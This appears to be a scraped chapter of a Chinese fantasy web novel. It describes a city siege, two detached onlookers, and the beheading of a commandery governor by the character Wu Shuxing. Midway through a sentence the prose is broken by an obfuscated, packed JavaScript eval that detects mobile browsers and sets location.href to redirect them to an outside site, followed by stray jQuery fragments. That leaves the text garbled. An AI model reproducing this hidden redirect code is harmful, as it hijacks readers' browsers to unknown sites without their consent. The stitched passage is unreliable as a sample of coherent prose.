广袤无垠的天地间,清蒙又干净。


    万马奔腾而过,扬起一阵飞沙走石,席卷天地。


    血肉碰撞声、刀剑相击声、叫骂嘶吼和尖叫声,霎时重叠交织成一片鬼哭狼嚎。


    欻——


    鲜红泼洒大地,黑红焦土重燃熊熊烈火,天上火烧云。


    英魂被嘶吼呼唤,在烈火中站起,五官模糊、身形虚幻,再度被挥手驱使。


    它,它们,亡魂厉鬼在天地火炉间煎熬。


    举手投足,一声笑谈,十指牵动间,孤魂野鬼撞上刀光剑影、天罗地网,顷刻间被撕成粉碎。


    七零八落,飘散又重聚,再战。


    烈火烹油呐,为何要在身不由己中苦苦煎熬……


    这是人间……厮杀场。


    橘红烈火张牙舞爪着,尖锐到极致却是柔顺;橘红烈火虚幻柔和着,气息却是扑面而来的骇人。


    烈火圈起城池,在天地劲风中,如猛虎狠扑而上。


    兵刃相交,“咚咚咚”地震山摇间,“哒哒哒、哒哒哒——”无数铁蹄,接连飞跃过烈火。


    雪白、带纹路的巨大神秘身影在天际展开羽翅,三条长长的冰蓝色尾翎肆意飞舞。


    无声的,细碎星光自天际洒落。


    一道道人影动作利落地翻上城楼,烈火之中、焦土之上,一只只染血的手齐齐放上城门……


    “轰!!!”


    厚重城门刹那间炸飞城中,铺起一条直直的猩红小径。


    一道道银白染红的甲胄人影走进城中。


    …………


    远方的高山上。


    树木低矮稀疏之地,只站着一高一低两道白衣身影。


    他们安静地望着远方的那一片天地火炉景象。


    霖国这贼窝是时候该清理了,而快刀斩乱麻、长痛不如短痛——


    这是一种善。


    善有太多太多,有大有小。对一个人善,还是对无数人善?


    对一个人善,是情;对无数人善,是多情又无情,是冷漠也是爱。


    善做不到十全十美,天下事难以两全。


    取舍,比善恶更能体现人的矛盾。既要又要,贪心不足蛇吞象,是虚伪。


    路过一阵又一阵的风,吹起墨发轻扬、素白简朴的衣袂翻飞。


    两个人盯着远方,两双眼眸似乎在随着局势推进而微微转动。


    审视又抽离。


    仿佛游走在红尘之外的人,侧目旁观人间。


    忽然,江景谦扭头看了看身旁的少女。


    样貌十五岁的少女一身白衣,冷冷淡淡地站在那里,安静着。


    江景谦嘴边一点点扬起一个温和浅笑,一双眼眸弯了弯。


    人们好像总是会害怕那些手里沾血、善于杀戮之人,而会轻视、或亲近回头看到的那安静旁观的身影。


    手里沾血、善于杀戮之人,他们受愤恨、兴奋之类的情绪驱使,如烈火般散发着不祥的骇人气息,让人望而生畏。


    而那些,转头时措不及防看到的人影,他们安静又内敛,如水一般柔和,人心里会产生轻视、或奇怪的亲近喜爱。


    可水,是会杀害人的。


    ——这样冷漠旁观的人,他们不受情绪的影响和驱使,他们做出一举一动,在权衡利弊之后。


    仿佛不存在心一般,主导这些旁观者的,是头脑。


    几乎无懈可击。


    江景谦笑着转回头,重新看向远方,他们,才是相像的一家人啊……


    江景鸢像是无知无觉一般,始终目视前方。


    说起来,她其实可以和任何人相像。


    最初没有察觉,越是长大越是连自己都有些讶异……一两个月到半年,她和谁待在一起,就会不自觉和谁的当下相像。


    ——是思考方式的相像。


    在同时说出一模一样、一字不差的话,在同时做出一模一样、分毫不差的行为,几乎能模拟到对方面对任何事的反应。


    对她来说,严防死守地保持自我,才是最难的。


    甚至连她自己都不免有些怀疑——


    她真的有自我吗?


    …………


    视野里,天上地上以肉眼可见的速度飞快变得漆黑暗沉,唯有那正正的前方,地上烈火燎原,天上火光摇曳。


    天地火炉之中。


    神秘的白色身影在高空盘旋,时不时仰头,发出一声清澈空灵的啼叫。


    点点雪白如星辰滑过夜空,坠落人间。


    烈火耀武扬威的地上,厮杀、奔逃和尖叫咒骂在继续。


    铁蹄哒哒,大片身披银白甲胄的高大身影踏入破败残缺的城中。


    焦黑的、跳跃着橘色火焰的城楼之内,无数人影骤然发出尖叫。


    他们尖叫着,瞬间扭头逃窜向后,挤撞着眼前的密集人群。


    一只只手在半空无意识舞动,抓挠拉扯,忽地死死拽住周围人的头发和衣服。


    他们满脸惊恐,几乎是无意识,果断将抓住的人往旁边和身后狠推而去。


    或是尖叫着撞倒三两人影。


    一只一只奔逃的脚,一下接一下急促踏过其上。


    “砰!!”


    疾走的人群猛然撞上一片高大的兵马。


    流山郡郡守横眉怒目,手里高举大刀,策马打头,厉声怒喝道:


    “逃亡者,就地斩杀!!!”


    话音一落,他手上的大刀骤然发出破空之声、划破夜色。


    凌乱披散的枯发被整齐横削。


    十几颗圆润头颅霍然倒飞,砸进人群。


    枯黄干燥的头发在夜空中洋洋洒洒飘落,站立在最前方的一排无头人影,轰然倒下!


    人群骤然爆发出更为凄厉的尖叫。


    “杀——”


    虎背熊腰的中年男人高举染血大刀,怒不可遏地高吼道:


    “一群愚昧无知的蠢货,去战啊,去死啊!去为你们的愚蠢送命去死啊——!!”


    他愤怒得面红耳赤,血肉紧实、表皮油腻发着白色点光的脸上,双目气得外凸,手上挥刀又砍下十几颗头颅。


    他拽着缰绳,身披甲胄的高大骏马发出一声鸣叫。


    “咚咚咚、咚咚咚——”


    流山郡郡守领着身后大队人马,策马向前的人群碾压而去,他癫狂地大吼着——


    “去战,去战,去杀啊去死啊!!!”


    人群中,惨叫不断,无数人哭嚎地转身奔逃。


    “哒,哒……”


    旗帜飞扬。


    浩浩荡荡的银白铁骑沉稳地出现在众人的视野里。


    隔着人群,两方兵马安静相望。


    忽地,流山郡郡守爆发出一声怒吼,如雷鼓般震天。


    一只只铁蹄疾速踏过人群,朝着前方的大片银白猛撞而去!


    ——仿佛困兽犹斗,又像是死也要轰轰烈烈地拉着人陪葬!!


    刀光剑影,嘶吼碰撞。


    东摇西晃、随波逐流的众人哭着,喉咙里发出低低颤音,如幼兽无力悲鸣。


    逃无可逃,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937186|160054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们骤然疯癫地吼叫一声,抄起刀剑长棍,见人就砍、见人就打,敌我不分。


    更有甚者,挥舞劈砍的刀剑,是落在自己身上的。


    天地火炉中唯有恶鬼,恶鬼在疯疯癫癫。


    “哈哈——”


    流山郡郡守霎时仰头大笑。


    忽然有阴寒之风吹过,微不可见的星光齑粉落在他的甲胄之上,蠕动着,钻进甲胄缝隙。


    大笑不止的流山郡郡守骤然发出一声凄厉惨叫,大刀落地发出脆响,他整个人霍然侧摔下马。


    银白刀光划破暗色。


    摔出去的头颅又被一只脚飞踢进夜色深处。


    头颅“咚”地砸在屋檐之上,滚动着,翻出一张怒目圆睁的扭曲人脸。


    一只暗纹长靴重重地踩了上去,鞋尖碾了碾那人脸,头颅下的瓦片霎时发出脆响。


    巫述星脚下踩着那张狰狞人脸,手里提着的长刀滴答着暗红血珠,滚落进瓦片缝隙。


    他发出一声冷笑。


    狗东西。


    也配叫他低声下气、忍辱负重?!


    人不都是……


    对着下位者端起一副矜傲姿态,装作平易近人、施舍般地指点一番,又对高位者小心翼翼、笑脸相迎。


    这狗东西,也不掂量掂量自己几斤几两,算什么玩意儿?也敢对他颐指气使?!


    羞辱。


    极尽羞辱。


    巫述星脸色阴沉。


    他身后,缓缓走来一少年身影。巫霏抬手抹去脸上沾染的血迹,抬眼看来,迷惑地眨眨眼,问道:


    “公子,要把这脑袋带回去做夜壶吗?”


    巫述星阴沉难看的脸色瞬间一变。


    他猛地回头,大惊失色地倒吸一口凉气,颤抖的瞳孔满是难以置信,尖叫道——


    “你好恶心啊!!”


    他顿时将脚下的脑袋踢远了,呲牙咧嘴,满脸扭曲,说:


    “别把什么乱七八糟的破烂垃圾都捡回家,家里不是狗窝!你什么癖好啊?家里放这种脏东西,真不嫌恶心晦气啊?”


    瞧着他满脸愤慨地喋喋不休起来,巫霏面露无奈,随口解释道:


    “我这不是怕公子你不解气吗……”


    巫述星一脸不满和抗拒,说道:


    “人都砍了,还能有什么不解气?我要是天天看着他,才叫越想越生气!”


    他撇撇嘴,嘀咕道:


    “有观赏这玩意儿的闲情逸致,还不如去将他九族都砍了,什么缺德狗人家养出来的狗东西……”


    巫霏笑笑,连声附和。


    忽然,他回头瞥了一眼后方,脸上的笑意扩大,和巫述星说:


    “公子,那边的战局似乎要结束了。”


    巫述星不满的话语顿时一停,顿了顿,一脸满不在乎地随意说道:


    “早就该结束了。我都把他们将领脑袋砍了,那些缺德玩意儿还能打多久?”


    巫霏当即诚心夸耀吹捧起来:


    “公子厉害!公子刚才往那边去的时候,我都被吓到了,没想到那人连公子一招都接不住,直接掉脑袋了!”


    巫述星的下巴越抬越高,嘴角疯狂上扬,“我自然是厉害的。”


    他顿了顿,矜持地轻咳一声,转身朝着来时的方向走去,说道:


    “那我们也回去好了。”


    巫霏笑着应了一声。


    然而下一刻,四面八方雷鼓震天,“咚咚咚、咚咚咚——”沉重铁蹄声疾速奔腾而来!


    两人脸色骤变。